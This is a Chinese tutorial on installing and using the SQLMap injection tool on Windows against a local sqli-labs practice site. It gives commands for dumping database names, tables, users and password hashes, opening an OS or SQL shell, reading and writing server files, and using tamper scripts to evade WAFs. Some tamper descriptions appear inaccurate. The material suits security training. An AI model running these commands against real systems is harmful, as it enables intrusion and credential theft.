SQLMap在windows下的安装、使用及进阶

SQLMap

  • 简要介绍
  • 支持的数据库
  • 支持的注入方式
  • 其他功能
  • 安装
  • SQLMap的使用
  • SQLMap的入门
    • 判断是否存在注入
    • 判断文本中的请求是否存在注入
    • 查询当前用户下的所有数据库
    • 获取数据库中的所有表名
    • 获取表中的字段名
    • 获取数据库中的所有用户
    • 获取数据库用户的密码
    • 获取当前数据库的名称
    • 获取当前网站数据库的用户名称
  • SQLMap进阶:各类参数
    • --level
    • --is-dba
    • --roles
    • --referer
    • --sql-shell
    • --os-cmd,--os-shell
    • --file-read
    • --file-write --file-dest
  • SQLMap自带绕过脚本tamper
    • 常用的tamper脚本
      • apostrophemask.py
      • base64encode.py
      • multiplespaces.py
      • space2plus.py
      • nonrecursivereplacement.py
      • space2randomblank.py
      • unionalltounion.py
      • space2bash.py
      • space2mssqlblank.py(mssql)
      • space2mssqlhash.py
      • between.py

简要介绍

一个自动化的注入工具。功能是扫描、发现并利用给定的URL的SQL注入漏洞,内置了很多绕过的插件。

支持的数据库

MySQL、Oracle、PostgreSQL、Microsoft SQL Sever、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。

支持的注入方式

盲注(布尔盲注和时间盲注)、报错注入、联合查询注入、堆查询注入。

其他功能

数据库指纹识别、数据库的枚举、数据提取、访问目标文件系统,在获取到完全的操作权限时实行任意的命令。

安装

SQLMap的安装依赖于Python的环境,所以需要事先安装好Python.
SQLMap的下载官方地址:http://www.sqlmap.org

下载到最新的SQLMap以后将其放进Python(我这里是python2)的目录下。
SQLMap在windows下的安装、使用及进阶_第1张图片
在系统变量中添加Python的地址以及SQLMap的地址
SQLMap在windows下的安装、使用及进阶_第2张图片
SQLMap在windows下的安装、使用及进阶_第3张图片
双击进入系统变量Path
SQLMap在windows下的安装、使用及进阶_第4张图片
SQLMap在windows下的安装、使用及进阶_第5张图片
完成后进入命令行
SQLMap在windows下的安装、使用及进阶_第6张图片
输入

sqlmap.py

出现以下画面即为成功
SQLMap在windows下的安装、使用及进阶_第7张图片

SQLMap的使用

SQLMap在windows下使用,需要先进入SQLMap的目录下,然后使用时在命令前加python(如果同时装了python2和python3,并且配置以后命令行分别输入python2和python3可以得到版本号的使用python2或者python3)
SQLMap在windows下的安装、使用及进阶_第8张图片

SQLMap的入门

判断是否存在注入

我们以本地搭建的sql-labs靶场网址作为注入点测试。
目标注入点是:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

判断其是否存在注入的命令如下所示:

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1

显示存在注入的画面:
SQLMap在windows下的安装、使用及进阶_第9张图片
可以看到

1、使用了get进行传参
2、存在布尔盲注、报错注入、时间盲注、联合查询注入
3、使用的数据库是MySQL数据库
4、操作系统为Windows
5、php、Apache以及MySQL的版本

提示:如果注入点后面的参数大于等于两个时,需要使用双引号包裹目标URL。

判断文本中的请求是否存在注入

SQLMap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(如cookie、POST数据等)
图为一个包含Web数据包的txt文件
SQLMap在windows下的安装、使用及进阶_第10张图片
命令指示行下使用命令

python2 sqlmap.py -r C:/Users/10638/desktop/1.txt

SQLMap在windows下的安装、使用及进阶_第11张图片

查询当前用户下的所有数据库

需要注意的是,当前网址必须已经确定存在注入后,转到sqlmap的目录下执行以下语句

python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --dbs

SQLMap在windows下的安装、使用及进阶_第12张图片

获取数据库中的所有表名

该命令在查询完数据库后使用,用来查询指定的数据库下的所有表。如果不加-D参数来指定数据库则会列出所有数据库的所有表。

python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security --tables

SQLMap在windows下的安装、使用及进阶_第13张图片

获取表中的字段名

当前命令为获取security库下的users表中的所有字段名

python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users --columns

SQLMap在windows下的安装、使用及进阶_第14张图片

获取数据库中的所有用户

python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --users

SQLMap在windows下的安装、使用及进阶_第15张图片

获取数据库用户的密码

python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --passwords

SQLMap在windows下的安装、使用及进阶_第16张图片
第一个显然使用了加密,使用的是MySQL5加密,解密在网址:http://www.cmd5.com

获取当前数据库的名称

python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --current-db

在这里插入图片描述

获取当前网站数据库的用户名称

python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --current-user

在这里插入图片描述

SQLMap进阶:各类参数

–level

表示需要执行的测试等级,从低到高1-5测试的范围会更加全面,同时运行速度也会依次递减。在不加–level参数的情况下,默认为1最低等级。

SQLMap所使用的Payload一般在sqlmap下的\data\xml\payloads路径中。

具体等级测试:
level2 --HTTP cookie的测试,同时包含上一等级测试
level3 --HTTP Usee-Agent/Referer头的测试,同时包含上一等级测试
之后的会测试更多,这里不多赘述。

使用如下即可

python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --level 2

–is-dba

用于查看当前账户是否为数据库管理员账户。

python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --is-dba

用户为数据库管理员账户则返回True
在这里插入图片描述

–roles

用于查看数据库用户的角色,且仅适用于当前数据库为Oracle。如果当前数据库为MySQL时,输入–roles时会有以下提示
在这里插入图片描述
依旧可以查询到:
SQLMap在windows下的安装、使用及进阶_第17张图片

–referer

SQLMap可以在请求中伪造HTTP中的referer,条件是–level等级需要设置为3或3以上,因为此时SQLMap才会尝试对referer注入。

参数后面+空格后接构造的语句

–sql-shell

用于执行指定的SQL语句。

python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --sql-shell

在这里插入图片描述
在出现sql-shell之后输入需要运行的自定义SQL语句

–os-cmd,–os-shell

用于运行任意操作系统的命令

限定条件:

  • 数据库类型:MySQL、PostgreSQL、Microsoft SQL Server
  • 当前用户有权限使用特定的函数,即–is-dba的值为True

–file-read

用于读取执行文件。

  • 数据库类型:MySQL、PostgreSQL、Microsoft SQL Server
  • 当前用户有权限使用特定的函数,即–is-dba的值为True

读取的文件可以为文本或者二进制文件。

–file-write --file-dest

用于写入本地文件到服务器中

  • 数据库类型:MySQL、PostgreSQL、Microsoft SQL Server
  • 当前用户有权限使用特定的函数,即–is-dba的值为True

读取的文件可以为文本或者二进制文件。

SQLMap自带绕过脚本tamper

SQLMap默认情况下仅使用了CHAR()函数防止出现单引号,数据不会进行修改。

可以使用–tamper参数对数据做修改来绕过WAF等设备。具体命令格式:

python2 sqlmap.py xxxxx --tamper "模块名"

常用的tamper脚本

官方目前提供53个绕过脚本,本次不做全部介绍,仅介绍一些常用脚本。

apostrophemask.py

作用是将单引号替换为UTF-8编码的形式。

base64encode.py

作用是将语句替换为base64编码的形式

multiplespaces.py

作用是围绕SQL的关键字添加多个空格。

space2plus.py

作用是将+号替换成空格

nonrecursivereplacement.py

作用是用双重语句替代预定义的SQL关键字

1 UNION SELECT 2--

变成

1 UNIONUNION SELECTSELECT 2--

space2randomblank.py

作用是将空格替换成其他的有效字符

例如

SELECT id FROM users

变成

SELECT%0Did%0DFROM%0Ausers

unionalltounion.py

作用是追加特制的字符串

例如

1 AND 1=1

变成

1 AND 1=1 and '0having'='0having'

space2bash.py

作用是将空格替换为#号,并且添加一个随机字符串和换行符。

space2mssqlblank.py(mssql)

作用是将空格替换成其他空符号

space2mssqlhash.py

作用是将空格替换为#号,并添加一个换行符

例如

1 AND 9227=9227

变成

1%23%0AAND%23%0A9227=9227

between.py

作用是用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND替换等号(=)。

你可能感兴趣的:(渗透安全笔记,windows,postgresql,数据库)